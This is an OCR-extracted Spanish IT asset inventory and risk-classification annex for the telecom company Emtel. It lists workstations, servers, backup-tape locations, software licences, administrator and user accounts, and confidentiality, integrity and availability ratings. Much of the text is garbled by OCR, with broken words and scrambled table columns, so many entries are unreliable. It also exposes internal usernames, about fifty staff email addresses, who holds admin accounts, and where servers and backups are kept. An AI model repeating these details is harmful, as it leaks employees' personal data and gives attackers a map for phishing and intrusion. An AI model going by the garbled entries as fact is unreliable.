Emtel sede centro-primer piso-Seccion cormercial-mercadeo y ventas Asesor de ventas
Emtel sede centro-primer piso-oficina seccion recursos financieros-Cartera Auxiliar administrativo
Emtel sede centro-primer piso-oficina seccion recursos financieros-Cartera Auxiliar administrativo
Emtel sede centro-primer piso-oficina seccion recursos financieros-Facturacion Auxiliar administrativo
Emtel sede centro-primer piso-Seccion cormercial-Experiencia Auxiliar administrativo
Emtel sede centro-primer p n tecnico operativa-platafor: ficina central Tecnico de planta
Emtel sede centro-primer piso-seccion tecnico operativa-plataformas-oficina central Tecnico de planta
Emtel sede centro-primer piso-seccion tecnico operativa-plataformas-oficina central Tecnico de planta
Emtel sede centro-primer p n administrativa-gestion documental-archivo Auxiliar administrativo
Emtel sede centro-segundo piso-oficina de T1 Administrador de sistemas de Informacion
Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano Profesional de recursos fisicos y compras
Emtel sede centro-segundo pisc- oficina seccion administrativa-Talento Humano Tecnico Administrativo
Emtel sede centro-segundo pisc- oficina seccion administrativa-Talento Humano Tecnico de soporte
Emtel sede centro-segundo pisc-oficina de seccion planeacion y negocios coorporativos Profesional especi o
Emtel sede centro-segundo pisc-oficina de seccion planeacion y negocios coorporativos [Supervisor
Emtel sede centro-segundo pisc-oficina de seccion planeacion y negocios coorporativos Profesional esp io
Equipo  informatico  que Emtel sede centro-segundo piso-oficina de seccion planeacion y negocios coorporatives contratista
HW1 Computador de |permite a los empleados de Tl Hardware Emtel sede centro-segundo piso-oficina de seccion planeacion y negocios coorporativos Ingeniero de TI Tecnologias de la | profesional
escritorio la empresa realizar sus mtel sede centro-segundo piso-oficina Gestion del control Informacion Profesional administrative
funciones Emtel sede centro-segundo pisc-oficina de seccion planeacion y negocios coorporativos-calidad Profesional de calidad
Emtel sede centro-segundo piso-gestion juridica Profesional especializada
Emtel sede centro-segundo pisc-gestion juridica Judicante
Emtel sede centro-tercer piso-oficina de gestion juridica Profesional
Emtel sede centro-primer piso-Seccion cormercial-mercadeo y ventas Jefe de mercado
Emtel sede centro-primer piso-Seccion cormercial-mercadeo y ventas Disefiadora grafica de mercadeo
Emtel sede centro-primer piso-Seccion cormercial-mercadeo y ventas Asesores
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Ingeniero de soporte
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Auxiliar administrativo
Emtel sede centro-primer piso-Seccion cormercial-at 1 al cliente-oficina de call center Agente call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Agente call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Agente call center
Emtel sede centro-primer piso-Seccion cormercial-at 1 al cliente-oficina de call center Agente call center
Emtel sede centro-primer piso-central Contratista Tl
Emtel sede centro-segundo piso-oficina de TI Contratista TI
Emtel sede centro-segundo pisc-oficina de TI Ingeniero de TI
Emtel sede centro-segundo piso- oficina seccion administrativa-Talento Humano Pasante de TI
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Gestion comercial
Emtel sede centro-primer piso-Seccion cormercial-at 1 al cliente Profesional
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Gestion comercial
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Auxiliar administrativo
Emtel sede centro-primer piso-Seccion cormercial-at 1 al cliente Jefe de seccion de gestion al cliente
Emtel sede centro-primer piso-seccion administrativa-gestion documental-archivo Digitador
Emtel sede centro-tercer piso-oficina de gestion juridica Auxiliar tecnica
Emtel sede centro-primer pisc-oficina seccion recursos financieros-Tesoreria Instador 2
Emtel sede centro-primer pise-Seccion cormercial-atencion al cliente Gestion comercial
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente Gestion comercial
Emtel sede centro-primer piso-Seccion cormercial-at 1 al cliente-oficina de call center Agente de call center
Emtel sede centro-primer pise-Seccion cormercial-atencion al cliente-oficina de call center Agente de call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Agente de call center
Emtel sede centro-primer piso-Seccion cormercial-at 1 al cliente-oficina de call center Coordinadora de call center
Emtel sede centro-primer piso-Seccion cormercial-at 1 al cliente-oficina de call center Agente de call center
Emtel sede centro-primer piso-Seccion cormercial-atencion al cliente-oficina de call center Agente de call center
Emtel sede centro-primer piso-Seccion cormercial-at 1 al cliente-oficina de call center Agente de call center
Emtel sede centro-segundo pisc-oficina de seccion planeacion y negocios coorporativos Administrador de sistemas de Informacion
Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria Jefe de seccion de recursos financieros




NOMBRE DEL
ACTIVO

DESCRIPCION

Equipo informatico que es|
utiizado por los empleados
de la empresa para realizar

PROCESOS

UBICACION

Emtel sede centro segundo piso- oficina de tecnologias de la informacion

Emtel sede centro segundo piso- oficina de tecnologias de la informacion

PROPIETARIO DEL
ACTIVO

CuUsTODIO

USUARIO

empleados internos de la empresa

empleados internos de la empresa

HW2 CO:’GP:‘;:‘C'W sus funciones (solo es| Tl Hardware Ingeniero de T1 Tecl:fn‘fg:::: a
utlizado en forma de Emtel sede centro segundo piso- oficina de tecnologias de la informacion empleados internos de la empresa
prestamo por  algunos
empleados) Emtel sede centro segundo piso- oficina de tecnologias de la informacion empleados internos de la empresa
Equipo informatico que
HW3 Servidor contact soporta las aplicaciones de TI Hardware Emtel sede centro segundo piso- oficina de tecnologias de la informacion-escritorio de ingeniero de Tl Ingeniero de TI Tecno\ugwa; dela Ingeniero de Tl
center Informacion
contact center
Servidor de Su;;:; e|m:;.rt:é::a du tme Administrador de | o5 0gias de Ia
Hw4 P TI Hardware Emtel sede centro segundo pisc-oficina de tecnologias de la informacion-cuarto de servidores. sistemas de 9 Administrador de sistemas de informacién
Apoteosys operaciones financieras de la Informacion
informacion
empresa.
Servidor de Su;;:; e|m:;.rt:é::a du los Administrador de | 1o 5/0gias de Ia
HW5 contratos de P TI Hardware Sevidor ubicado en el datacenter de la sede de bellorizonte sistemas de 9 Ingeniero de TI
contratos ~ de usuarios, Informacion
usuario informacion
suscriptos a la empresa
. Equipo  informatico  que
HWé Servidor de soporta el sistema de gestién TI Hardware Sevidor ubicado en el datacenter de la sede de bellorizonte Ingeniero de TI Tecno\ugwa; deba Ingeniero de Tl
Docdus Informacion
documental
Equipo informatico  que
soporta el sistema de
Servidor open | INformacién - de  usuarios: Administrador de Tecnologias de la
HW7 flexis s datos personales, estado de TI Hardware Emtel sede centro segundo pisc-oficina de tecnelogias de la informacien-cuarto de servidores sistemas de Inforrﬁacion Administrador de sistemas de infermacion
los servicios a los cuales esta informacion
suscrite, page de facturas,
elc.
Dispositve de red que
interconecta  equipos  de Tecnologias de la
Hws8 Access point  |comunicacion  inalambricos, TI Hardware Emtel sede centro primero y segundo piso 2 mlorngacion Ingeniero de Tl , Tecnico de TI
para  formar una red
inalambrica
Emtel sede centra segundo piso-ubicada en el pasillo al lado de la oficina de archive Juridica-seccion administrativa-Tecnologias de la informacion-
contabilidad y presupuesto
Emtel sede centre primer piso-ubicada en la central Subgerente de Tecnica
Emtel sede centro tercer piso-ubicada en oficina de juridica Jefe de seccion de juridica
Emtel sede centro tercer piso-ubicada en secretaria gerencia Secretaria del gerente
Emtel sede centro segundo piso-ubicada en la oficina de seccion administrativa secretaria de la jefe de seccion administrativa
Emtel sede centro segundo piso-ubicada en la oficina de seccion administrativa Tecnico adminidtrativo
Impresora- Dispositive  utlizado  para Emtel sed b o piso-ubicad \a oficina de ol - I § Tecnologias de la |pl ’ i idad
HW8 Folocopiadora- |imprimir, copiar y digitallzar T Hardware mtel sede centro segundo piso-ubicada en la oficina de planeacion y negocios coorporativos ingenierc de TI mmmg:acmn laneacion y negocios coorporativos-calidal
scanner documentos de la empresa

Emtel sede centro segundo piso-ubicada en la oficina de planeacion y negocios coorporatives

Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria

Emtel sede centro-primer piso-oficina seccion recursos financieros-Tesoreria

Emtel sede santa clara primer piso ubicada en el pasillo al lado de las escaleras de acceso al segundo
piso

Emtel sede santa clara segundo piso ubicada en la oficina de plataformas

Emtel sede santa clara primer piso ubicada en la oficina de jefe de seccion

Emtel sede bellorizonte ubicada en almacen

Planeacion y negocios coorporativos-calidad

Tesoreria

Tesoreria

Redes de acceso

Plataformas

Jefe de seccion de tecnico operativa

Almacen




D

NOMBRE DEL
ACTIVO

DESCRIPCION

Plataforma  tecnolégica
orientada a optimizar el

PROCESOS

UBICACION

PROPIETARIO DEL
ACTIVO

CUSTODIO

Tecnologias de la

USUARIO

HW10 Digiturno Tl Hardware-software Emtel sede centro-primer piso-area de atencion al cliente Ingeniero de Tl . Clientes-Casillas
proceso de atencién al cliente informacion
on la empresa
Equipo que permite la lectura
HW11 | Lector blométrico de la huella duguiq\ de los| T Hardware Emtel sede centro- pmm.er piso-ubicado en la entrada de la sede Ingeniero da TI Tecnalagua; de la |Todos los empleados de la empresa que tengan contrato de
empleados para el ingreso a Emtel sede santa clara-primer piso-ubicado en la entrada de la sede informacion nemina
la empresa
Sistema de video vigilancia ’
Tecnologias de la
HW12 | Camaras (cctv) |utilizado para monitorear los Tl Hardware Emtel sede centro, Emtel sede santa clara. Ingeniero de Tl informacion Todos
activos de la empresa
Fuente  de suministro
eléctrico, que se utiliza para Administrador de
HW13 UPS proporc.uonar e?ergna alos Tl Hardware Emtel sede centro-primer piso- y Sede santa clara sustemgs d Tecnolagua; dela Emtel sede centro y sede santa clara
dispositivos  criticos de la informacién - informacion
empresa, en caso de Ingeniero de TI
interrupcion eléctrica.
Dispositiva de Emtel sede centro-segundo piso-oficina de Tecnologias de la informacion )
' almacenamiento  empleado Tecnologias de la .
HW14 Discos duros Tl Hardware Ingeniero de Tl . Tecnologias de la Informacion
para guardar y transportar| informacion
informacién de la empresa Emtel sede centro-segundo piso-oficina de Tecnologias de la informacion
Emtel sede centro-segundo pisc-oficina de Tecnologias de la informacion-escritorio 1 primer cajon
Medio de almacenamiento de Emtel sede centro-segundo pisc-oficina de Tecnologias de la informacion-escritorio 1 primer cajon
datos en donde se realiza las -
copias de seguridad de la i i i i Administrador de Tecnologias de la
HW15 | Cintas magnéticas pas de seg Tl Hardware ~ |Emtel sede centro-segundo piso-oficina de Tecnologias de la informacion-escritorio 1 primer cajon sistemas de gias Administrador de sistemas de Informacion-tecnico de soporte
informacién de los servidores . informacion
informacién
open flexis, apoteosys, sql
software Emtel sede centro-segundo piso-oficina de Tecnologias de la informacion-escritorio 1 primer cajon
Emtel sede centro-segundo pisc-oficina de Tecnologias de la informacion-escritorio 1 primer cajon
RH1 Ingniero de Tl TRIesponsab\e del subproceso Tl Recurso humano Emtel sede centro No aplica No aplica No aplica
Administrador de Responsable de los sistemas
RH2 sistemas de iy ) T Recurso humano Emtel sede centro No aplica No aplica No aplica
. de informacion de la empresa
informacion
Responsable de dar
RH3  [Técnico de soporte| S 1eNcia técnica o soporte TI Recurso humano Emtel sede centro No aplica Noaplca  |Noaplica

técnico a los empleados de la
empresa




CLASIFICACION DE ACTIVOS DE INFORMACION DEL PROCESO DE TI

ACTIVO

Formato solicitud de soporte

ANEXO C

USUARIO

Todos los empleados de la

CRTITERIOS DE VALORIZACION

CONFIDENCIALIDAD DISPONIBILIDAD

INTEGRIDAD

VALOR
FINAL

técnico diligenciado empresa que requieran Qel Baja Baja Baja
servicio de soporte técnico
Formato qc_)ntrol'de licencias Técnico de soporte Media Media Media Media
diligenciado
Cr_onpgrama de . Técnico de soporte Baja Baja Baja
mantenimiento de equipos
Formato necesidad de Toedrgsrl(;):aerrlljpékiggo;ndgla
recurso tecnolégico presa g gal Baja Baja Media Media
. . necesidad de adquirir un
diligenciado .
recurso tecnologico
Bitacora de registro de fallas Admlnlstradores,d_e plataformas Media Baja Media Media
tecnologicas
Hoja de vida de equipos Técnico de soporte Baja Baja Baja ;
Jefe de Contabilidad y Media Baja Baja Media
Presupuesto
Profesional de contabilidad Media Baja Baja Media
Profesional espgmallzado de Media Baja Baja Media
contabilidad
Licencia de Windows XP Profesional de contabilidad Media Baja Baja Media
Auxiliar de contabilidad Media Baja Baja Media
Auxiliar de contabilidad Media Baja Baja Media
Analista Media Baja Baja Media
Auxiliar administrativo Media Baja Baja Media




Auxiliar administrativo Media Baja Baja Media
Profesional de SGSST Media Baja Baja Media
Profesmna;/l ggr:\%(;;;sos fisicos Media Baja Baja Media
Jefe d oficina de juridica Media Baja Baja Media
Auxiliar de Tesoreria Media Baja Baja Media
Auxiliar de Tesoreria Media Baja Baja Media
Auxiliar de Tesoreria Media Baja Baja Media
Técnico de tesoreria Media Baja Baja Media
cajero Media Baja Baja Media
Operador Media Baja Baja Media
Asesor de ventas Media Baja Baja Media
Auxiliar administrativo Media Baja Baja Media
Auxiliar administrativo Media Baja Baja Media
Auxiliar administrativo Media Baja Baja Media
Técnico de planta Media Baja Baja Media
Técnico de planta Media Baja Baja Media
Técnico de planta Media Baja Baja Media
9 Licencia Windows vista Admlnlstrli?(;)rrr:aeds;temas de Media Baja Baja Media
Profesional de recursos fisicos Media Baja Baja Media
y compras
) ) ] Técnico Administrativo Media Baja Baja Media
10 Licencia Windows 7 Técnico de soporte Media Baja Baja Media
Profesional especializado Media Baja Baja Media
Profesional especializado Media Baja Baja Media




Contratista Media Baja Baja Media
Profesional Media Baja Baja Media
Profesional de control interno Media Baja Baja Media
Profesional de calidad Media Baja Baja Media
Profesional especializado Media Baja Baja Media
Profesional Media Baja Baja Media
Jefe de mercadeo Media Baja Baja Media
Dlsen?ggrrfagg'ca de Media Baja Baja Media
Asesores Media Baja Baja Media
Ingeniero de soporte Media Baja Baja Media
Auxiliar administrativo Media Baja Baja Media
Agente call center Media Baja Baja Media
Agente call center Media Baja Baja Media
Agente call center Media Baja Baja Media
Agente call center Media Baja Baja Media
contratista Tl Media Baja Baja Media
contratista Tl Media Baja Baja Media
Ingeniero de TI Media Baja Baja Media
Gestién comercial Media Baja Baja Media
Profesional Media Baja Baja Media
Gestidén comercial Media Baja Baja Media
Auxiliar administrativo Media Baja Baja Media
Jefe de secci_()n de gestion al Media Baja Baja Media
cliente
Digitador Media Baja Baja Media
1 Licencia Windows 8 Auxilir?lr de tesorgria Media Baj:a Baj:a Media
Gestion comercial Media Baja Baja Media




Gestion comercial Media Baja Baja Media
Agente de call center 1 Media Baja Baja Media
Agente de call center 2 Media Baja Baja Media
Agente de call center 3 Media Baja Baja Media

Coordinadora de call center Media Baja Baja Media
Agente de call center 4 Media Baja Baja Media
Agente de call center 5 Media Baja Baja Media
12 Licencia Windows 10 Agente de call center 6 Media Baja Baja Media
Administrador de _sjstemas de Media Baja Baja Media
Informacion
Jefe de sfgccién de recursos Media Baja Baja Media
inancieros

Disefladora grafica Media Baja Baja Media

Auxiliar administrativo Media Baja Baja Media
Ingeniero de Tl
Jefe de Contabilidad y
Presupuesto
Profesional de contabilidad
Profesional especializado de
contabilidad
13 Licencia Microsoft office Profesional de contabilidad Media Baja Baja Media

2007

Auxiliar de contabilidad

Auxiliar de contabilidad

Analista

Auxiliar administrativo

Auxiliar administrativo

Profesional de SGSST




Profesional de recursos fisicos
y compras

Jefe oficina de juridica

Auxiliar de Tesoreria

Auxiliar de Tesoreria

Auxiliar de Tesoreria

Técnico de tesoreria

Cajero

Operador

Asesor de ventas

Auxiliar administrativo

Auxiliar administrativo

Auxiliar administrativo

Técnico de planta

Técnico de planta

Técnico de planta

Administrador de sistemas de
Informacion

Profesional de recursos fisicos
y compras

Técnico Administrativo

Técnico de soporte

Profesional especializado

Supervisor

Profesional especializado

Contratista

Profesional

Profesional administrativo




Profesional de calidad

Profesional especializada

Profesional

Jefe de mercado

Técnico de mercadeo

Asesores

Ingeniero de soporte

Auxiliar administrativo

Agente call center

Agente call center

Agente call center

Agente call center

contratista Tl

contratista Tl

Ingeniero de TI

Pasante de TI

Gestion comercial

Profesional

Gestion comercial

Auxiliar administrativo

Jefe de seccién de atencion al
cliente

Digitador

Auxiliar técnico

Auxiliar administrativo

Gestién comercial

Gestidon comercial

Agente de call center




Agente de call center

Agente de call center

Coordinadora de call center

Agente de call center

Agente de call center

Agente de call center

Administrador de sistemas de
Informacion

Jefe de secciéon de recursos
financieros

Disefiadora grafica

Auxiliar administrativo

Microsoft volume licensing

cuenta de administrador:
Ingeniero de TI

14 : Media Alta Baja Media
service center . .
cuenta de administrador: jefe
de seccion de operativa
Jefe de Seccidn de operativa
15 Autocad Media Media Baja Media
Ingeniero de red de acceso
16 Winbox Plataformas y Tl Media Alta Media Media
Auxiliar de Tesoreria _ _ _
17 Tera term Baja Baja Baja

Técnico de tesoreria




Auxiliar administrativo

Auxiliar administrativo

Jefe de seccién de gestion al
cliente

Técnico de planta

Técnico de planta

Técnico de planta

18

Licencia Ace FTP

Auxiliar de Tesoreria

Técnico de tesoreria

Auxiliar administrativo

Jefe de seccién de gestion al
cliente

Media

Baja

Baja

Media

19

Virtual box

Plataformas y Tl

Baja

Alta

Baja

Media

20

Epaymet

Jefe de seccidn de recursos
financieros

Auxiliar de Tesoreria

Técnico de tesoreria

Auxiliar administrativo
Tesoreria

Media

Alta

Media

Media

21

Apoteosys

Cuenta de usuario: jefe de
Contabilidad y Presupuesto

Cuenta de usuario: Profesional
de contabilidad

Cuenta de usuario: Profesional
especializado de contabilidad

Cuenta de usuario: Profesional
de contabilidad

Alta

Alta

Alta




Cuenta de usuario: Auxiliar
administrativo contabilidad

Cuenta de usuario: Auxiliar de
Tesoreria

Cuenta de usuario: Técnico de
Tesoreria

Cuenta de usuario: Auxiliar de
Tesoreria

Cuenta de usuario: Auxiliar de
Tesoreria

Cuenta de administrador:
Administrador de sistemas de
Informacion

Cuenta de usuario: Auxiliar
administrativo gerencia

Cuenta de usuario: Jefe de
seccion de recursos financieros

Cuenta de usuario: Técnico
administrativo almacén

Cuenta de usuario: Consultas
de almacén

Cuenta de usuario: Revisor
fiscal

Cuenta de usuario: profesional
de control interno

22

Open flexis

Cuenta de administrador:
Administrador de sistemas de
Informacion

Alta

Alta

Alta




Cuenta de administrador:
Administrador de sistemas de
Informacion

Cuenta de usuario: Técnico
operativo red de acceso -
cfroldan

Cuenta de usuario: Técnico
operativo red de acceso-
jmontenegro

Cuenta de usuario: Técnico
operativo red de acceso-
yaquelinamg

Cuenta de usuario: Técnico
administrativo tesoreria -
miriamc

Cuenta de usuario: Asesor de
ventas mercadeo-adominguez

Cuenta de usuario: técnico
administrativo de archivo-
cesarod

Cuenta de usuario: Técnico
administrativo tesoreria -
hoovercc

Cuenta de usuario: Asesor de
ventas mercadeo-dianapgu

Cuenta de usuario: Agente de
call center-jfgarces

Cuenta de usuario: técnico
administrativo de casillas-linajc

Cuenta de usuario: Agente de
call center-luisalber




Cuenta de usuario: Agente de
call center-ricardomm

Cuenta de usuario: técnico
administrativo de mercadeo-
tomassanchez

Cuenta de usuario: Agente de
call center-mcamilaho

Cuenta de usuario: Agente de
call center-mcamilaho

Cuenta de usuario: Técnico
operativo red de acceso-
jordonez

Cuenta de usuario: Agente de
call center-Imelendez

Cuenta de usuario: Agente de
call center-jespinosa

Cuenta de usuario: Agente de
call center-ncarvajal

Cuenta de usuario: Agente de
call center-ogomez

Cuenta de usuario: Agente de
call center-yanethm

Cuenta de usuario: Agente de
call center-flopez

Cuenta de usuario: técnico
administrativo de casillas-
agomez

Cuenta de usuario: técnico
administrativo de casillas-
yalmeida




Cuenta de usuario: técnico
administrativo de atencion al
cliente-cristiandj

Cuenta de usuario: Agente de
call center-chemix

Cuenta de usuario: Jefe de
atencion al cliente-estherhs

Cuenta de usuario: Jefe de
mercadeo-analucia

Cuenta de usuario: técnico
administrativo de atencion al
cliente-facturacion-yoly

Cuenta de usuario: profesional
de tesoreria - recaudopagos

Cuenta de usuario: técnico
administrativo planta interna-
arielf

Cuenta de usuario: técnico
administrativo tesoreria-caja-
davidama

Cuenta de usuario: Asesor de
ventas mercadeo-diegofbh

Cuenta de usuario: jefe de
operativa-rcamayo

Cuenta de usuario: Asesor de
ventas mercadeo-luceniar

Cuenta de usuario: técnico
operativo planta interna-jorgelv

Cuenta de usuario: reparto de
facturas-arnulfo




Cuenta de usuario: profesional
red de acceso-dmejia

Cuenta de usuario: subgerente
de técnica — claudiaqr

Cuenta de usuario: técnico
operativo red troncal-
cmangquillo

Cuenta de usuario: profesional
planta interna-andresim

Cuenta de usuario: técnico
administrativo de mercadeo-
cristiamj

Cuenta de usuario: técnico
operativo mesa de ayuda-
Kmontenegro

Cuenta de usuario: técnico
operativo mesa de ayuda-
juanpsolisr

Cuenta de usuario: técnico
operativo mesa de ayuda-
jorgegonz

Cuenta de usuario: profesional
red troncal-gabrield

Cuenta de usuario: técnico
operativo mesa de ayuda-
danieljs

Cuenta de usuario: técnico
operativo mesa de ayuda-
ccamilos

Cuenta de usuario: profesional
de gestion al cliente-
jcsanchezoro




Cuenta de usuario: técnico
operativo red de acceso-
carloses

Cuenta de usuario: Bastidor
bellavista-bbellavista

Cuenta de usuario: Bastidor
centro-bcentro

Cuenta de usuario: Bastidor
santa clara-bsantaclara

Cuenta de usuario: Bastidor la
paz-blapaz

23

Contac center (Issabel)

cuenta de administrador:
Ingeniero de TI

cuenta de administrador:
contratista de TI

Cuenta de supervisor:
Coordinador de call center

Cuenta de usuario: Agente de
call center

Cuenta de usuario: Agente de
call center

Cuenta de usuario: Agente de
call center

Cuenta de usuario: Agente de
call center

Cuenta de usuario: Agente de
call center

Cuenta de usuario: Agente de
call center

Alta

Alta

Alta




Cuenta de usuario: Agente de
call center

Cuenta de usuario: Agente de
call center

Cuenta de usuario: Agente de
call center

Cuenta de usuario: Agente de
call center

Cuenta de usuario: Agente de
call center

Cuenta de usuario: Agente de
call center

24

G suite de Google

1 cuenta de administrador y
47 de usuarios

asanchez@emtel.com.co

abossio@emtel.com.co

abolanos@emtel.com.co

cquintero@emtel.com.co

comunicaciones@emtel.com.co

contratacion@emtel.com.co

dmontenegro@emtel.com.co

dmejia@emtel.com.co

dbalcazar@emtel.com.co

eibarra@emtel.com.co

eorobio@emtel.com.co

esalazar@emtel.com.co

facturacion@emtel.com.co

facturacionelectronica@emtel.c
om.co

Media

Media

Media

Media
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mailto:abossio@emtel.com.co
mailto:abolanos@emtel.com.co
mailto:cquintero@emtel.com.co
mailto:comunicaciones@emtel.com.co
mailto:contratacion@emtel.com.co
mailto:dmontenegro@emtel.com.co
mailto:dmejia@emtel.com.co
mailto:dbalcazar@emtel.com.co
mailto:eibarra@emtel.com.co
mailto:eorobio@emtel.com.co
mailto:esalazar@emtel.com.co
mailto:facturacion@emtel.com.co

fbenavides@emtel.com.co

gestionadministrativa@emtel.c
om.co

gestionfinanciera@emtel.com.c
0

gestiondelcontrol@emtel.com.c
0

gestionjuridica@emtel.com.co

gnavia@emtel.com.co

imunoz@emtel.com.co

Imendez@emtel.com.co

jgomez@emtel.com.co

jdvalenzuela@emtel.com.co

lgalvan@emtel.com.co

Icaicedo@emtel.com.co

usuario@emtel.com.co

gerarpalacios@emtel.com.co

mcalvache@emtel.com.co

mbahos@emtel.com.co

paburbano@emtel.com.co

plantaexterna@emtel.com.co

plataformas@emtel.com.co

redacceso@emtel.com.co

rmosquera@emtel.com.co

rcamayo@emtel.com.co

servicioalcliente@emtel.com.co

sistemas@emtel.com.co

soporte@emtel.com.co

talentohumano@emtel.com.co



mailto:fbenavides@emtel.com.co
mailto:gestionadministrativa@emtel.com.co
mailto:gestionadministrativa@emtel.com.co
mailto:gestionfinanciera@emtel.com.co
mailto:gestionfinanciera@emtel.com.co
mailto:gestiondelcontrol@emtel.com.co
mailto:gestiondelcontrol@emtel.com.co
mailto:gestionjuridica@emtel.com.co
mailto:gnavia@emtel.com.co
mailto:imunoz@emtel.com.co
mailto:lmendez@emtel.com.co
mailto:jgomez@emtel.com.co
mailto:jdvalenzuela@emtel.com.co
mailto:lgalvan@emtel.com.co
mailto:lcaicedo@emtel.com.co
mailto:usuario@emtel.com.co
mailto:gerarpalacios@emtel.com.co
mailto:mcalvache@emtel.com.co
mailto:mbahos@emtel.com.co
mailto:paburbano@emtel.com.co
mailto:plantaexterna@emtel.com.co
mailto:plataformas@emtel.com.co
mailto:redacceso@emtel.com.co
mailto:rmosquera@emtel.com.co
mailto:rcamayo@emtel.com.co
mailto:servicioalcliente@emtel.com.co
mailto:sistemas@emtel.com.co
mailto:soporte@emtel.com.co
mailto:talentohumano@emtel.com.co

tecnicos@emtel.com.co

tesoreria@emtel.com.co

vmhurtado@emtel.com.co

dcastano@emtel.com.co

jcely@emtel.com.co

rcastillo@emtel.com.co

yortega@emtel.com.co

25

Plataforma de contratos de
usuarios

cuenta de administrador:
Ingeniero de TI

Cuenta de usuario: Cristian
Jiménez

Media

Media

Alta

Media

26

SQL software

Analista

Administrador de sistemas de
Informacion

Auxiliar administrativo

Media

Media

Alta

Media

27

Suite de seguridad (Bit
defender)

1 cuenta de administrador:
Ingeniero de TI

Media

Media

Media

Media

28

Doc4us

4 cuentas de administrador:
ingeniero de TI, técnico de
soporte, y dos administradores
de la empresa duefa del
software

Pendiente porque el servidor no
esta funcionando

Alta

Alta

Alta

29

Registro nacional de bases de
datos (RNBD)

Ingeniero de Tl

Media

Baja

Alta

30

Jefe de Contabilidad y
Presupuesto

Alta

Alta

Alta

Profesional de contabilidad

Alta

Alta

Alta



mailto:tecnicos@emtel.com.co
mailto:tesoreria@emtel.com.co
mailto:vmhurtado@emtel.com.co
mailto:dcastano@emtel.com.co
mailto:jcely@emtel.com.co
mailto:rcastillo@emtel.com.co
mailto:yortega@emtel.com.co

Profe&or;ilnteasgiﬁgfolllzado de Alta Alta Alta
Profesional de contabilidad Alta Alta Alta
Auxiliar de contabilidad Alta Alta Alta
Auxiliar de contabilidad Alta Alta Alta
Analista Alta Alta Alta
Auxiliar administrativo Alta Alta Alta
Auxiliar administrativo Media Media Media
Profesional de SGSST Baja Baja Baja
Profesmna;: ggnr]%(i;;sos fisicos Media Media Media m
Jefe de oficina de juridica Alta Alta Alta
Auxiliar de Tesoreria Alta Alta Alta
Auxiliar de Tesoreria Alta Alta Alta
Auxiliar de Tesoreria Alta Alta Alta
Técnico de tesoreria Alta Alta Alta
Cajero Baja Alta Alta
Operador Baja Baja Baja
Asesor de ventas Baja Baja Baja
Auxiliar administrativo Baja Baja Baja
Auxiliar administrativo Alta Alta Alta
Auxiliar administrativo Baja Baja Baja
Técnico de planta Media Baja Baja Media
Técnico de planta Media Alta Media Media
Técnico de planta Media Baja Baja Media
Admlnlstrli?(;)rrr:aecféitemas de Alta Alta Alta




Profesional de recursos fisicos

y compras Media Media Media Media
Técnico Administrativo Baja Baja Baja
Técnico de soporte Media Media Baja Media
Profesional especializado Alta Alta Media
Profesional especializado Media Baja Media Media
Contratista Media Baja Media Media
Profesional Media Baja Media Media
Profesional administrativo Media Media Media Media
Profesional de calidad Media Media Media Media
Profesional especializada Alta Alta Alta _
Profesional Media Media Media Media
Jefe de mercado Media Media Media Media
Disefladora grafica de Baja Baja Baja
mercadeo
Asesores Baja Baja Baja
Ingeniero de soporte Media Media Media Media
Auxiliar administrativo Media Baja Media Media
Agente call center Media Alta Media Media
Agente call center Media Alta Media Media
Agente call center Media Alta Media Media
Agente call center Media Alta Media Media
contratista Tl Baja Baja Baja
contratista Tl Baja Baja Baja
Ingeniero de Tl Media Baja Media Media
Gestion comercial Media Media Media Media
Profesional Media Media Media Media
Gestion comercial Media Media Media Media




Auxiliar administrativo Media Media Media Media
Jefe de sec(c::lli(;rr\]t(ie gestion al Media Media Media Media
Digitador Media Media Media Media
Auxiliar de tesoreria Media Media Media Media
Gestion comercial Media Media Media Media
Gestion comercial Media Media Media Media
Agente de call center 1 Media Alta Media Media
Agente de call center 2 Media Alta Media Media
Agente de call center 3 Media Alta Media Media
Coordinadora de call center Media Alta Media Media
Agente de call center 4 Media Alta Media Media
Agente de call center 5 Media Alta Media Media
Agente de call center 6 Media Alta Media Media
Jefe de sf;anc;:r:(():?e(rjéasrecursos Alta Alta Alta
Disefiadora grafica Baja Baja Baja
Auxiliar administrativo Alta Alta Alta
31 Computador portatil empleados internos de la Baja Baja Baja
empresa
32 Servidor contact center Ingeniero de TI Alta Alta Alta
33 Servidor de Apoteosys Alta Alta Alta




Administrador de sistemas de
informacion

Servidor de contratos de

34 . Ingeniero de TI Media Media Media Media
usuario
35 Servidor de Doc4us Ingeniero de TI Alta Alta Alta
36 Servidor open flexis Admlnlstr_ador de §Jstemas de Alta Alta Alta
informacion
37 Access point Ingeniero de Tl Media Media Media Media
Juridica - seccion
administrativa-Tecnologias de , . : .
la informacion-contabilidad y Media Media Media MEelE!
presupuesto
Subgerente de Técnica Media Media Media Media
38 Impresora- Fotocopiadora- Jefe de seccion de juridica Media Alta Alta
Scanner Secretaria del gerente Media Alta Alta
secretaria della_tjefe_de seccion Media Media Media Media
administrativa
Técnico administrativo Media Media Media Media
Planeacién y negocios , . : :
corporativos-calidad Media Media Media Media




Planeacion y negocios

. . Media Media Media Media
corporativos-calidad
Tesoreria Media Alta Alta
Tesoreria Media Alta Alta
Redes de acceso Media Media Media Media
Plataformas Media Media Media Media
Jefe de seccidén de técnico : . . :
operativa Media Baja Media Media
Almacén Media Media Media Media
39 Digiturno Clientes-Casillas Baja Baja Baja
Todos los empleados de la
40 Lector biométrico empresa que tengan contrato Media Baja Baja
de nomina
41 Camaras (cctv) Tecnologias de la Informacién Alta Alta Alta
42 UPS Tecnologias de la Informacién Baja Alta Media Media
43 Discos duros Tecnologias de la Informacion Baja Baja Baja -




Administrador de sistemas de

44 Cintas magnéticas o Alta Alta Alta
Informacion
45 Ingeniero de TI No aplica Alta Media Baja Media
46 Admlnlstrador de §Jstemas de No aplica Alta Alta Baja Media
informacion
